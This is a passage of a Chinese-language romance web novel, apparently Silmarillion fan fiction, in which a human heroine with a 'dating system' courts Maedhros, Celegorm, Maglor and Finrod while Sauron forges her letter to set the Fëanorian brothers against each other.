火光映照得你的脸颊更是红彤彤的,你用火钳将刚才丢进去的柴火调整位置,说:“反正无论怎么看他们的棋艺都在我之上吧?” 安格罗德安慰道:“别这么说,你身上也有很多优点,你上次不是还一剑解决了四个半兽人吗?” 被他这么一提你就想起来了,那还不是因为你和系统要的金手指确实好用,论实力,其实你觉得自己直接单挑魔苟斯都没什么问题,但没这个必要,你又不是来当救世主的,而且现在这情况也应该是让精灵自己解决魔苟斯的问题,你可不干涉精灵的内政。 而就在你思考北方的魔苟斯到底有多强大的时候,此时此刻的安格班里正在进行着一场激烈的讨论,索伦在上次试图劫持你失败以后就被勾斯魔格嘲讽许久,对方甚至还说他差点就要被你给反过来劫持了。 这话不假,要不是战场上突然的爆.炸,他极有可能就变成了你的俘虏,这让索伦心有余悸,但他驳斥勾斯魔格,认为他这是在偏移重点。 “我偏移重点?我看你就是羞于承认你的失败吧!”勾斯魔格冷嘲热讽道,往日里的索伦都不屑于和勾斯魔格争辩,但是这一次,如果不说些什么的话,估计他就会以为自己占据上风了吧,因此索伦说:“是么,那你有没有想过既然连我的劫持她的计划都没能成功,你那直接杀死她的提议又怎么可能真的实现,说起来你还得要感谢我才对。” 勾斯魔格听索伦叽里咕噜地说了一大堆,到最后居然还说让他感谢他,勾斯魔格说:“你少往自己脸上贴金了。” 同样参加这次会议的魔苟斯也没有要制止这两个下属的意思,因为他还在思考别的东西,不久前他通过自己放出去的眼线得知那些个费诺里安居然要在北方建立一条专门抵御安格班的防线,这条防线一旦建成,将会极大地影响他接下来的计划。 所以魔苟斯忽然出声,说:“够了——” 刚才还吵得很激烈的索伦和勾斯魔格当即闭嘴,会议室里安静得要命,魔苟斯看向索伦,“虽然你上次的任务没有完成,但是,我不介意再给你一次机会,这次你要阻拦费诺里安建造防线,不管用什么方法,你都要阻止他们。” 索伦点了点头表示自己明白了,勾斯魔格觉得魔苟斯再这样轻信索伦估计又要失望,所以他毕恭毕敬地对魔苟斯说:“米尔寇大人,我认为我也可以帮忙。” 索伦挑起一边的眉毛,“你认为?那也只是你认为而已,还是说你在质疑米尔寇大人的决定呢?” 这个索伦不就是嘴皮子厉害了一点吗?勾斯魔格翻了个白眼,说:“我可没说这话。” 魔苟斯对勾斯魔格说:“我还有其他的任务安排给你。” 等会议结束后,从魔苟斯那里得到新任务的索伦再次投身于任务中,根据上次的经验,他知道面对你绝对不能硬碰硬,得要智取才行,对待那些费诺里安也是,他本来还打算俘虏你以后利用你来威胁那些费诺里安,但事与愿违,他只能另寻方法。 直接破坏防线不太现实,而且还会被费诺里安群起而攻之,正所谓越是强大的敌人就越是要从内部瓦解,最好是能够让他们起内讧,互相反目成仇。 但又该怎么做才能成功地挑拨离间呢?索伦思索了许久。 他披着黑色斗篷离开安格班,骑在一匹黑马上,游荡在精灵领地附近的森林里,那么悄无声息地观察着这些精灵的一举一动,蹲守的时间长了总能有些收获的,冬去春来,在冬天的积雪消融后万物复苏,喜爱自然的精灵也骑着马驰骋在郁郁葱葱的草原上。 凯勒巩就是其中一个精灵,但他不是孤零零的一个,和他一块的还有芬巩的妹妹阿瑞蒂尔,他们原先在维林诺的时候就经常聚在一块,这次也是他们第一次共同在贝烈瑞安德大陆上踏青,阿瑞蒂尔觉得一切都很新鲜,看上去神采奕奕,至于凯勒巩就没有那么高兴了。 他不高兴的原因也很简单,那就是你去了纳国斯隆德那么久,结果一封信都没有给他写,他指的是你主动写的信,而不是他写了信,然后你回给他的信件,这两者存在本质的区别,前者说明你哪怕在纳国斯隆德也会想念他,而后者呢,就说明你是在应付了事。 “提耶科莫,你确定要一直这么愁眉苦脸的吗?出来踏青不该是高高兴兴的吗?”阿瑞蒂尔问道。 他也想的,但他就是做不到,看到这百花盛开的风景他就想起远在纳国斯隆德的你,你也在欣赏这幅美景吗?又是和谁一起的呢? 想到这里,凯勒巩忍不住郁闷地叹了一口气,阿瑞蒂尔停了下来,严肃地对凯勒巩说:“好了,你要是不和我好好说一说,再这样唉声叹气下去我们就直接回去。” 见阿瑞蒂尔的态度强硬,凯勒巩才勉为其难地,又非常拐弯抹角地说:“我的一个朋友……” “我让你说你自己的事情,你怎么开始说你一个朋友的故事了?”阿瑞蒂尔不解道。 凯勒巩说:“我就是在担心我的那个朋友。” 阿瑞蒂尔忽然想到了什么,而后说:“好吧,那就继续说说你那个朋友的事情。” 见到阿瑞蒂尔没有再追问那个朋友是谁,凯勒巩稍微松了一口气,他说:“那个朋友以前从未想过自己会坠入爱河,更没想过自己还会受到感情的困扰,但他确实爱着对方,这份爱毋庸置疑,只是来的时机有些不凑巧而已,可是对方的态度总是那么若即若离,哪怕他已经付出自己的真心,她还是不为所动。” 听到这里,阿瑞蒂尔已经开始同情那个被凯勒巩喜欢的精灵了,但根据凯勒巩之后的描述,她觉得那个倒霉蛋不是精灵,应该是人类,而现在在这片大陆上的人类只有一个,据她所知还是迈兹洛斯的恋人。 好了,那么一系列的事情,这些前因后果就都能串联起来了,阿瑞蒂尔从没想过自己来简简单单地踏个青还能遇到这种事情,听完这个故事,阿瑞蒂尔沉默了好一会,又花了点时间斟酌用词,最后说:“你……我是说你的那个朋友,有没有想过自己的感情很可能是不正当的?” “不正当?什么——?!感情哪里有正当不正当这一说?我的……不,他的感情非常真挚。”他都快要将自己的真心挖出来了难道这还不能算真挚吗? 阿瑞蒂尔就知道凯勒巩会是这反应,她说:“听你刚才的描述对方心有所属了吧?” 凯勒巩像是被戳中了死xue,是的,哪怕他总是对其他精灵张牙舞爪地表示自己才是你最喜欢的精灵,但如果真的要和迈兹洛斯比较一下的话,他张扬的信心又会烟消云散,你果然还是会更加喜欢迈兹洛斯的吧? 阿瑞蒂尔还在继续说:“所以这也可能是那个精灵的错觉。” 低垂脑袋的凯勒巩突然说:“不是错觉。” “什么?” “我说——这不是错觉。”你曾经给予他的那些亲吻还有拥抱,以及在星空下的依偎,交换气息的经历又不是他幻想出来的,那是真真切切地发生过的。 明处的阿瑞蒂尔在疑惑,暗处的索伦却因为自己收集到的重要情报而欣喜若狂。 瞧瞧他都发现了什么,原来凯勒巩喜欢你,和自己的兄长迈兹洛斯喜欢同一个人类,哈……真是有趣,你这个人类居然那么招精灵的喜欢。 索伦无声地笑了起来,先前还在为了任务焦头烂额的他终于找到了切入点,只要散布这个消息,等消息传到迈兹洛斯的耳朵里,以凯勒巩和迈兹洛斯的性格,他们必然发生争吵,如此一来原本坚实的联盟就会出现裂痕。 这么看来他还得要感谢你才对,多亏了你的花心才让为兄弟的反目成仇埋下祸根,索伦差点就要笑出声了,他努力克制住自己内心澎湃的激动心情。 阿瑞蒂尔说:“那你想要怎么做呢?我是说,你的那个朋友又是怎么想的呢?” 这样说话可真够麻烦,也真够拐弯抹角的,阿瑞蒂尔在心里这么想。 但凯勒巩不觉得麻烦,更不觉得拐弯抹角,他说:“那当然是等她回心转意啊。” 躲在暗处的索伦一边听凯勒巩这么说,一边在心里思考该怎么制定接下来的计划,他的脸上逐渐浮现出不怀好意的笑容,他想,他知道该怎么做了。 远处的凯勒巩和阿瑞蒂尔把话说开以后凯勒巩的心情都跟着变好了许多,但其实阿瑞蒂尔都没说什么,完全就是凯勒巩自己把自己给说好了,这经历就跟她的哥哥芬巩和迈兹洛斯聊天,芬巩没说几句话迈兹洛斯就豁然开朗是一样的。 略带疑惑的阿瑞蒂尔看着凯勒巩心情舒畅地骑着马欣赏美景,此时的他们都没有发现藏在暗处的索伦。 索伦悄无声息地离开这里,虽然不太确定你对凯勒巩的态度如何,毫无疑问的,凯勒巩想要你的关注,也想要你的偏爱,他想要的东西很多,但又很少,甚至少到只是一封信就能让他很开心。 于是索伦潜入纳国斯隆德境内,别误会,这次他不是来劫持你的,他只是来取走几封信,有你字迹的信件,好让他模仿你的字迹。 在不久后,一封由索伦伪造的信件就送到了凯勒巩手上,后者看到信封上的署名时不敢置信地盯着看了好一会,甚至还有点不舍得拆开那封信,愣是拿着信封翻来覆去地看。 手指还摩挲着信封的表面,那份喜悦更是溢于言表,过了好一会他才拆开信,展开信纸,从第一段开始阅读。 看到后面他的笑容逐渐变淡,最后甚至气恼得脸色阴沉,他气势汹汹地朝着迈兹洛斯的书房走去,没有敲门,直接啪地一下推开门,对迈兹洛斯说:“我有话要对你说。” 【作者有话说】 隔壁的《精灵的向导》开坑啦!有兴趣的可以去看看[加油][加油] 第38章 “你到底有没有心?” 迈兹洛斯问道:“什么事情?” 凯勒巩将“你”写给他的那封信啪地一下放在迈兹洛斯面前的办公桌上,哪里还有刚才的珍惜态度,迈兹洛斯扫了一眼信封,看见了上面的署名,那是你的名字, “这是苏尔写给你的信……不对。” 迈兹洛斯又多看了一眼, 这次他是真的发现了不对,虽然字迹很像你写的, 但是,毕竟是他当初教会了你精灵的文字,他还是能够分辨出这其中的微妙不同的,他说:“你这封信是哪里来的?” “信鸽送来的, 也不知道是谁,是哪个下贱的东西模仿了她的字迹, 就为了挑拨离间!”凯勒巩没好气地说道, 恨不得当即就把这个藏在暗处使坏的家伙给揪出来然后直接消灭, 他说的是物理意义上的消灭。 迈兹洛斯拿起稍显皱巴巴的信纸看了两眼,然后抬手示意凯勒巩稍微冷静一点,他说:“你越是这样激动就掉入了对方的陷阱,所以,无论你现在有多生气,都给我冷静下来。” 凯勒巩拉过一张椅子坐下,和迈兹洛斯四目相对,后者说:“肯定是有谁听到了什么风声,不光是你和苏尔的消息,还是关于我们建立防线的消息。” 这两者结合起来就能猜到这个伪造了你的书信的家伙到底想要做什么。 无非是想要借此机会来扰乱他们建造防线的计划,那么到底会是谁千方百计地要阻拦他们建立防线呢?这个问题的答案不言自明,那就是魔苟斯以及他的爪牙,凯勒巩说:“魔苟斯又是怎么知道的?” 迈兹洛斯说:“别忘了魔苟斯派出了很多眼线,估计是哪个眼线收集到的吧。” 凯勒巩的表情严肃,而迈兹洛斯的神色也没有轻松到哪里去,现在还只是伪造的信件,那么等到以后呢,又会是别的什么招数呢?迈兹洛斯忧虑了一会,这份忧虑并没有持续太长时间他就重新振作起来,说:“反正既然我们这次能够发现对方的诡计,之后也能识别。”暂时结束这个话题后迈兹洛斯又瞥了一眼那份虚假的信件,说:“那家伙低估了你,当真觉得这种伎俩能够骗到你。” 凯勒巩听到这里神情却变得微妙,他说:“你既然都已经知道了我和她的关系,你就不生气么?” “我为什么要生气呢?你是我的弟弟,而且,她也是我深爱的恋人。” 迈兹洛斯的语气轻飘飘的,像是在说一件无关紧要的小事,他就和以前一样原谅了自己的弟弟。 但这份原谅是建立在否认你对凯勒巩感情的基础上的,迈兹洛斯认为你对凯勒巩只是关心而已。 “你不能用所谓的宽容大量来否定我和她之间的感情。”凯勒巩敏锐地察觉到了这一点。 迈兹洛斯将那封信点燃后丢进壁炉里,安静地看着信纸连同信封一块被火焰吞噬,最后变成灰烬,最后一抹火光在迈兹洛斯的眼里消弭,他才说:“你们之间的感情究竟如何不是你单方面说了算的,再怎么说也得要等她回来了,让她当面回答才比较准确。” 听上去就像是多方会审,凯勒巩心想,他双手环胸,又说:“那到场的就不止我一个了,玛格洛尔也该来的。” 凯勒巩猝不及防地提到了玛格洛尔的名字,无非就是想要把事情闹大,他过得不高兴,其他精灵也别想着高兴,他就是这样的性格。 迈兹洛斯不为所动,也没有因为他这么说就对玛格洛尔生气,他说:“嗯,我知道了,到时候我会通知玛格洛尔的。” 此时的玛格洛尔尚未从纳国斯隆德回来,精灵拜访都是这样的,小住一段时间那就是几个月打底,而且最近的天气也不稳定,总是骤冷骤热的,所以估计芬罗德出于贴心,也会挽留玛格洛尔多住一会的,被这样挽留的不光是玛格洛尔,还有先前答应迈兹洛斯去纳国斯隆德看看你的芬巩。 芬巩抵达纳国斯隆德的第一天就遇上了下雨天,雨水弄得小路泥泞不堪,就连他的衣角也不免沾染上星星点点的泥点子,这幅样子已经足够狼狈了,发现来迎接他的芬罗德旁边还跟着你的时候他有些手足无措。 他来这里的目的确实是来看你的,但他现在的样子实在算不上是个好访客,他脸颊两侧的碎发被雨水打湿,衣角还在滴滴答答地滴水,而你呢,你在芬罗德之前向他递上一条手帕,芬巩赧然地收下,低声对你说谢谢,然后下一秒就对上你的笑眼。 你在对他笑。 是在笑话他吗?不,似乎不是的……这是个充满关心的友好笑容。 “擦擦你身上的雨水吧,外面这场雨可真大啊。”你将话题岔到这场雨来得有多么猝不及防,又有多么来势汹汹上,芬巩听着芬罗德应声,他安静地用手帕擦拭脸颊上的水珠,等他的样子没有那么狼狈了他才说:“请原谅我的不请自来,希望我没有打扰到你们。” 芬罗德是个好客的精灵,而且芬罗德和芬巩的关系本来就很好,说这些话在芬罗德看来都算见外的了。 因此芬罗德还说:“你这么说就显得我们的关系分外生疏了,实际上无论你什么时候来我都会欢迎你的到来的。” 芬罗德亲自接待芬巩,他们的关系确实很好,你都有些无法加入他们的话题了,不过也无所谓,因为你以前就见识过芬巩的好感有多难刷,所以你就没指望这次能涨一点好感度,反正你的要求也不高,只要别掉好感度就行。 没错,你对不同的精灵有着不同的标准。 “不知道苏尔你在这里过得还好吗?嗯……迈兹洛斯很关心你的近况。”芬巩一说这话你就知道他这是替迈兹洛斯查岗来了,真不愧是迈兹洛斯的挚友外加好兄弟。 你说:“过得很好啊。”你这段时间已经快要把玛格洛尔的好感度给刷满了,你的心情一直都很好。 芬巩说:“那就好,那样我就能和迈兹洛斯有个交代了。” 芬罗德半开玩笑地说:“你这话说得就好像是专程为了帮迈兹洛斯查看苏尔的情况才跑到纳国斯隆德来的,难道你不是来拜访我的吗?” “当然也是来拜访你的。”芬巩又和芬罗德聊了几句,然后就以换衣服为由暂时离开,芬罗德目送芬巩离开,在芬巩走远以后芬罗德才说:“迈兹洛斯真是关心你。” 你疑惑地瞧了芬罗德一眼,说:“你吃醋了?” 开玩笑的,你现在顶多就是和芬罗德在暧昧阶段而已,要真的说起进展,那大概就是连亲吻都还没有过的程度,所以你不用猜也知道他的反应会是什么,肯定是否认,没准还会祝福你和迈兹洛斯。 但是这次你猜错了,芬罗德说:“算是吧,我还有些羡慕。” 居然就这么坦然地承认了。 原来他拿的真的是白切黑的设定啊? 还没等你回答,芬罗德就又说:“如果我刚才说的话让你觉得不舒服的话,那我就收回。” “没有。”你只是在感叹他突然的坦率而已,也没有讨厌的意思,“我没有讨厌。” “是吗,那真是太好了,我有的时候会反省自己,会不会自己哪里做得不太对,又或者是冒犯到了你,如果我真的做错了什么,那还请你直接指出来。” 真是善良的金毛啊,比起凯勒巩这个邪恶的比格犬,简直是天差地别的性格差别。 你说:“你从没有做过让我讨厌的事情,我也不会讨厌你的,如果真要说的话,你应该算得上我最喜欢的精灵呢。” 这种话你对迈兹洛斯说过,对玛格洛尔说过,更是对凯勒巩说过,毕竟爱是具有流动性的,你可以保证自己在说这句话的时候确实是最喜欢对方的,至于之后怎么样那就不好说了。 芬罗德捕捉到你说的关键词,他湛蓝色的眼睛微微睁大,显然陷入了惊讶之中,他说:“……最喜欢?” 满是不可置信。 感觉你一个平a就快要把对方的大招给换出来了。 你说:“是啊,最喜欢。” 芬罗德又眨了眨眼睛,像是从令他头晕眼花的喜悦中清醒过来,但又似乎没太清醒的样子,因为你又听见他说:“放心,这件事情我不会告诉迈兹洛斯的。” 啊?这是什么?直接无师自通就开启了地下恋情吗?甚至不需要你提醒他就知道这件事情得要瞒着迈兹洛斯,更要瞒着刚刚到访的芬巩。 想到这里,芬罗德自以为自己已经完全冷静下来了,他认为就算是到时候迈兹洛斯要责怪起来那也是他的错,与你没有多少关系,是他产生了不该有的心思,甚至还蛊惑了你,如果维拉要审判的话,那也请只惩罚他一个吧,你什么都没有做错。 站在旁边查看好感度的你不知道芬罗德在短暂的几秒内就已经想了那么多的事情。 你看到芬罗德的好感度居然与玛格洛尔的不相上下。 你好像也没有特意刷芬罗德的好感度吧?你甚至还仔细地回忆了一下,发现真的没有,你顶多就是经常和芬罗德待在一块而已,因为芬罗德显得太正义凛然,以至于你都不太好意思和他调情。 开玩笑的,实际上是调了跟没调似的。 但就是在这样的情况下,芬罗德的好感度居然还很高,这只能说明他是个有点白给的精灵。 等你点击关闭好感度面板,只见芬罗德表情严肃,像是下定了什么决心,他说:“我会好好珍惜你的这份喜欢的。” 也没必要说得那么严肃吧……精灵的重情重义属性有的时候也让你有些头疼,因为这个属性一个不好就会朝着重力系的方面发展。 你都来到异世界了怎么还有重力男啊! 你说:“呃……其实你也不用那么严肃的。” “这是态度问题,我要拿出自己的态度。” 啊?这真的是态度问题吗?你略带迷茫地眨眨眼,说:“那你的态度……我确实看在眼里。” 芬罗德说:“我很高兴看到我们能够心意相通。” 明明他说话的语气很轻快,但在你听来就是有些沉重。 这个时候看到玛格洛尔往你们这里走来你就像是看到了救星,总算是不用继续这个话题了,你说:“玛格洛尔来了。” 芬罗德若有所思地问道:“你看到他来很开心吗?” 你愣是听出了几分阴恻恻的感觉。 没关系的,就算是明媚重力男你也有自己应对的一套法子,那就是不主动回答问题,你说:“难道你不开心吗?我印象里的芬罗德应该没有小气到这种程度吧?还是说你确实藏着不为人知的一面呢?” 玛格洛尔走近以后就听见你们在聊些什么,因为没听到前文,他听得云里雾里,只能通过芬罗德还有你的表情猜出你占据上风。 反正你占据上风也不是一次两次了,玛格洛尔都习以为常了,他说:“又有新的客人来了?” “是啊,玛格洛尔,好久不见了。”刚才去换衣服的芬巩出现在你们的不远处,不得不说他换衣服的速度可真快,而且身上的衣服看起来就很花里胡哨,是那种换成你穿得要花费不少时间甚至还很有可能会穿错的那一类服装。 玛格洛尔回过头看见芬巩就礼貌但也稍显疏离地对他点点头,虽说芬巩和他的哥哥迈兹洛斯是好友,但玛格洛尔和他的关系只能用一般来形容。 不冷不热,不远不近。 “你怎么想起来纳国斯隆德了?”玛格洛尔问道,芬巩说:“顺路,而且正好迈兹洛斯托我来看看苏尔在这里住得是否还习惯,只是我没想到你也在这里,迈兹洛斯没和我说过。” 他的哥哥当然不知道他也来了纳国斯隆德,他当初在离开希斯路姆的时候找的借口是去寻找合适的防线堡垒驻扎点,迈兹洛斯也没多想,可能是完全的信任,也有可能是已经在冥冥之中隐约猜到了什么。 玛格洛尔试图从芬巩的脸上找到一些与答案有关的蛛丝马迹,他凝视许久,只见芬巩面色如常,好像什么都没有发生过,他真的只是来这里看看你,再看看芬罗德的。 但愿是他多心了。 芬巩的头发上还沾染着大雨的水汽,以至于他给你的感觉都是雾蒙蒙的。 你们几个站在长廊上聊天也不是个事,总不可能客人来了就矗在这里干唠嗑吧?怎么说也该去旁边的休息室,搭配着茶水还有新鲜果切,一边吃一边聊。 但因为芬巩来的时间不凑巧,是晚上,而且就快要到你的休息时间了,你在熬夜刷攻略对象和直接去睡大觉这两个选项里毫不犹豫地选择了后者,耗时可能一秒都不到,原因也很简单,那就是天大地大,充足的睡眠时间最大,你可不会为了攻略任务赔上自己的休息时间。 这么兢兢业业地推进攻略人物是年底有什么奖金分红吗?什么都没有还想让你这么拼命?真是想得美。 所以你当即就说:“那你们慢慢聊,我要去休息了。” 此话一出,玛格洛尔也跟着说:“那我也先走了。” 玛格洛尔就与你并肩离开,芬罗德注视着你们离去的背影,芬巩说:“他们的关系好像很亲近。” “也不奇怪,苏尔和这里的精灵关系都很好,大家都喜欢她这位客人。”芬罗德笑着给你和玛格洛尔打圆场,在他们谈话的间隙里已经有精灵送上茶水和新鲜水果,今晚正好在宫殿里有一场宴会,此时还有不少精灵在宴会厅里拨弄琴弦轻轻歌唱着,那歌声穿过宴会厅的大门,穿过长廊,最后飘到芬罗德和芬巩的耳边。 芬巩说自己的父亲芬国昐决定再次讨伐魔苟斯,也是为了费艾诺在星下之战的牺牲。 芬罗德不好评价芬国昐对费艾诺的态度,或许当初的他就是靠着对费艾诺的怨恨穿过那严寒的冰川的,但又在半途中从迈兹洛斯的嘴里听到他父亲的死讯,他的心情又该多复杂呢,之前的怨也好恨也好,仿佛都要被冰原的寒风吹散了。 所以芬罗德认为现在芬国昐对魔苟斯的讨伐也是与兄长费艾诺的一种和解,尽管他不觉得费艾诺会真的与他和解。 “那么迈兹洛斯又是怎么想的呢?”芬罗德问道。 “他的想法是先建立起一条防线,贸然进攻很可能会将战火扩散。”芬巩说,“迈兹洛斯也不希望黑暗蔓延到底这片大陆的其他地方。” 芬罗德承认迈兹洛斯的考虑也有一定的道理,他说:“那我明白了。” 芬巩又说了一些其他的事情,不算严肃,都是最近发生的趣事,他听说芬罗德的妹妹加拉德瑞尔待在多瑞亚斯没有要离开的意思,就用这件事打趣对方,“唉,所以你的妹妹找到了真爱,看来是已经把你这个哥哥给忘了。” “那么你的妹妹呢?”他们都是有妹妹的兄长,在这一方面都是感同身受的。 “还是老样子,和凯勒巩一块游猎,这样其实也挺好的。”至少比起坠入爱河以后忘记他这个哥哥好太多了。 一听对方这看热闹的态度,芬罗德就笑盈盈地说:“那我倒是很期待阿瑞蒂尔遇到真爱的那一天。” 一想到迈兹洛斯因为真爱而饱受折磨的样子,芬巩就希望自己的妹妹不要那么快遇到真爱,晚一点,哪怕再晚一点都没关系,反正也有不少年纪大的精灵都找不到真爱,她又有什么好着急的呢? 芬巩说:“我只能祈祷那一天没那么快到来,真爱有的时候可真是折磨呀。” 对此芬罗德也表示赞同,恐怕就连玛格洛尔也能理解,哪怕他已经离你足够近的了,哪怕你们这些天是相伴入眠的,但他总觉得自己和你之间还存在着一段距离,你对待他的态度也总是若即若离的。 他想要问个究竟,所以在当晚,在你洗漱完毕后他侧躺在你的身边时他就说:“为什么我们好像还是那么陌生呢?” 陌生?你和他都是好几次本垒打的关系了吧,就这样也还是很陌生吗?他对感情的亲密度要求可真高啊,你还没有困到睁不开眼的程度,所以你就耐着性子和他聊天,你的手指摩挲他的侧脸,问道:“那你对于陌生的定义是什么,亲密的定义又是什么呢?” 玛格洛尔将自己的脑袋埋进你的颈窝里,肌肤相贴已经足够亲密了吧,足够亲密了吗?可他总是想要更多,他呼出的气息温热,“我不知道。” “就连聪明的玛格洛尔也不知道这个问题的答案吗?”你忍不住轻笑一声,“所以其实你也不清楚自己到底想要什么对吗?” “但我们中间始终隔着一层什么。” 隔着什么,无非就是你们之间的感情不对等,敏锐的精灵感觉到了,所以才会觉得膈应。 但要你说这不是很正常的吗?你莫名其妙地来到一个异世界,还跟强买强卖似的绑定一个恋爱系统,还得要完成这些攻略任务,第一这没什么好处,第二你也不是恋爱脑,所以总的来说你还得趁着系统不注意给自己谋福利。 正所谓上头不给发福利那你就自己创造福利。 玛格洛尔说:“你的下一个目标是谁?芬巩吗?”迈兹洛斯或许能够容忍你与他弟弟的不正当关系,但化作别的精灵他也能够包容吗? 啊,这就被他发现了吗?你还以为自己藏得很好呢,你说:“那你觉得芬巩怎么样?会是个有趣的情人吗?” 玛格洛尔忽然抬起头,诧异地微微睁大眼睛,说:“你确定要在这时候问我别的精灵是否适合当你的情人?你难道不觉得不合时宜吗?” 他气得呼吸频率都变了,脸颊都泛红了,他说:“你到底有没有心?” 你从善如流地道歉,“抱歉,我收回刚才的话,我最喜欢的精灵是你可以吗?” 这话不久前你才和芬罗德说过。 第39章 哪怕你对他做再多糟糕的事情也没关系吗? 玛格洛尔沉默了一会,估计是觉得你又在敷衍了事了,但如果你真的想要敷衍的话完全可以无视他说的话,所以思考之后他的心情变得更加复杂,他说:“算了……”他向你妥协了,至少现在陪伴在你身边的是他,而不是别的其他精灵,因为你若即若离的态度使得他的底线也在一点一点地放低。 最后他也不知道自己的底线会低到什么程度。 长久的安静对你来说就是安眠药, 你在黑暗中缓慢地眨了两下眼睛,然后沉沉睡去。 隔天又是新的一天,你在纳国斯隆德也不总是无所事事的,你是说, 除了每天享受生活,你也会帮助这里的精灵, 比如说种田, 精灵也不是不食人间烟火的生物, 简单来说就是他们也需要种植农田,而你恰好又是个对种田感兴趣的人类,外加之骨子里也受到农耕文明的影响, 你对种田的积极性很高。 安格罗德也有自己负责的农田,你平常就会和安格罗德一块走在田垄上,春天一来万物复苏,更是播撒各类作物种子的好时候,你和安格罗德先把田地的土翻松,然后抓着一把种子往刚刚挖好的小坑里撒去,安格罗德在干农活的时候也和他哥一样喜欢穿浅色衣服。 你就不一样了,你穿的是很耐脏的黑色套装,就算沾上一点灰尘也不明显,为了方便干活你还把袖子给卷了上去,露出一截小臂,初春的天气还带着点冬末的余韵,但站在太阳底下干活就不觉得冷了,甚至还觉得有些热,你到后面都热得直冒汗。 当初芬罗德去多瑞亚斯的时候美丽安还送了很多种子给他,这些种子或许是受到了美丽安的祝福,所以哪怕在艰难的条件下都能顺利发芽长大结果,更别提你还给这些种子提供了几乎完美的生长环境,所以那些种子基本上才播种下去隔天就会发芽,不出一周就会长成郁郁葱葱的幼苗,甚至于在夏天到来前就能收获一回。 从农田的这头一直播种到另外一头,你抬手擦去额头上细密的汗水,安格罗德给你递来一杯水,你拿着水杯小口小口地喝水。 安格罗德说:“在你离开前也不知道能不能结果。” “我可没有那么快就离开。”你原本有些干燥的嘴唇也变得湿润。 “你不会和玛格洛尔一块离开吗?”安格罗德认为你到时候肯定会和玛格洛尔一同离开的,那些费诺里安就是这样,一旦被缠上了那可真是没完没了,因此在安格罗德看来你也有些倒霉,你似乎注定是要和费诺里安纠缠不清的。 “他什么时候离开是他的决定,我什么时候走取决于我的心情,这两者不是一回事。”而且你总感觉玛格洛尔的好感度上去以后他的感情也在变得愈发沉重,好在你的心理素质够强,不会被这些东西影响,顶多就是有些惊讶而已。 安格罗德若有所思,你看农活做的差不多了,就要回去换身衣服,你不光是额头出了汗,就连背后也出了一层薄汗。 这怎么不能算是一种有氧运动呢? 这可比在健身房里的运动实在多了,你扛着锄头往回走,安格罗德说:“待会的文学沙龙你去吗?” 没错,精灵可真是德智体美劳全方面发展,都有文学沙龙了,其实就是一群精灵聚在一块分享自己最近写的诗歌和文章,说高兴的地方还会忘乎所以。 高雅,实在是高雅,但你欣赏不来,你对文学的欣赏能力早就被中学时代的阅读理解全都磨没了,要是让你来品鉴品鉴那些精灵写的诗歌,你可能起手就是分析分了修辞手法,最后再起承转合总结表达的情感,什么思乡之情啦,物是人非的感情啦,反正往这方面猜总归是不会有错的。 “文学沙龙啊……”你看似认真思考,其实是在思考怎么逃过这次的活动,这感觉就跟你逃团建是一样的,“我觉得我不太适合去那里。” “不适合吗?但那些精灵或许很期待你的到来呢?” “你确定他们不是想要看我一头雾水的样子?”你半开玩笑地说,安格罗德说:“嗯……那也是因为你的满脸疑惑的样子很可爱不是吗?” 他们精灵的小心思好多,你说:“我要去找你哥,没空去文学沙龙。” 见你主动提起他的哥哥,安格罗德就说:“好吧,那我会替你和他们说一声的,希望你能和芬罗德度过幸福愉快的时光。” 你合理怀疑安格罗德是你和芬罗德的CP粉,但你手头没有充足的证据,你只是觉得而已。 毕竟安格罗德每次看见你和芬罗德在一起都会露出欣慰的笑容,精灵也是很八卦的生物啊。 和安格罗德暂时分别后你先是回到自己的房间换衣服,顺便还冲了个澡,换上干净衣服神清气爽地离开房间,也不知道是不是安格罗德把你要去找芬罗德的消息提前告诉了对方,等你找过去的时候后者已经倒了两杯茶,桌上还放着你喜欢的点心,抬起头对站在门口的你眨眨眼,说:“你来了?累坏了吧。” ……好贤惠的感觉。 刚刚干完农活的你确实有点累,但几块点心下肚就又不怎么累了,芬罗德说:“能和我说说你都在那块田地上种了什么吗?” “也没什么,就是小番茄,黄瓜,葡萄,还有西瓜嗯……辣椒。” 你一样一样地细数过去,感觉自己就像是在点兵点将,芬罗德也很捧场地说:“那等到夏天的时候就有很多水果可以吃了。” “也没那么简单,到时候还得防着点鸟雀。”你记得自己上辈子种的水果就经常被鸟雀光顾,最可气的是聪明的鸟雀总能找到最甜美的果实,吃就吃吧,还不吃完,基本上啄出一个洞就又转移目标,每次都让你血压飙升。 芬罗德说:“这个不难,和这附近的麻雀打个招呼就好了,它们会告诉这一片的鸟儿不要碰你种的水果。” 哦,差点忘了坐在你面前的不是普通人而是能够和动物沟通的精灵,也是自然亲和力点满的精灵,你说:“造物主还真是偏心精灵啊。” “但人类也很优秀不是吗?你那么聪明,勤奋,而且勇敢善良。” 芬罗德在说这话的时候全程与你四目相对,他这话说得你都有点不好意思了,打住,你可没他说的的那么好,你说:“你再这样说下去我都有些不好意思了。” “但我说的都是实话,你在我心里就是这么好。” 真诚,果然真诚就是必杀技,就算是你也会被真诚给打动。 你和芬罗德轻松的聊天氛围没有持续太久,玛格洛尔收到从希斯路姆传来的消息,北方的安格班又有所动作,他得要先赶回去,估计是索伦搞的鬼,你在听玛格洛尔说这消息的时候第一时间就想到了之前遇到过的名叫索伦的反派,难道是你在那个时候泄露了什么吗? 你仔细回忆一下,确认自己应该没有说漏什么,因为你压根就没和他说几句话,反倒是索伦自己一个劲地说着,他平常肯定没什么可以倾诉的对象吧?要不然怎么能有那么多的碎碎念可以说啊。 总之,现在就是玛格洛尔要赶紧离开纳国斯隆德回到迈兹洛斯那里,还没等你开口玛格洛尔就说:“我更希望你留在这里。” 不是吧,你本来还想装模作样一下的呢,结果他一上来就这么说,那你干脆顺水推舟地说:“好啊。” 是不是有点回答得太干脆了?你反思了几秒,玛格洛尔没有和其他精灵说太多,只是在临走前又轻轻地抱了你一下,这个拥抱没有持续太久,几秒不到,他就松开手后退一步,然后对着你还有身边的芬罗德点点头,旋即翻坐到马背上,头也不回地离开纳国斯隆德。 跟着玛格洛尔一同离开的还有才来到这里没多久的芬巩,也得亏是精灵身体素质好,换做其他人这样来回奔波,难免会感到疲惫,但他们就不会,甚至走的时候还精神饱满。 你目送他们俩离开,背影消失在平原的尽头,这才收回目光,芬罗德说:“他们不会有事的。” 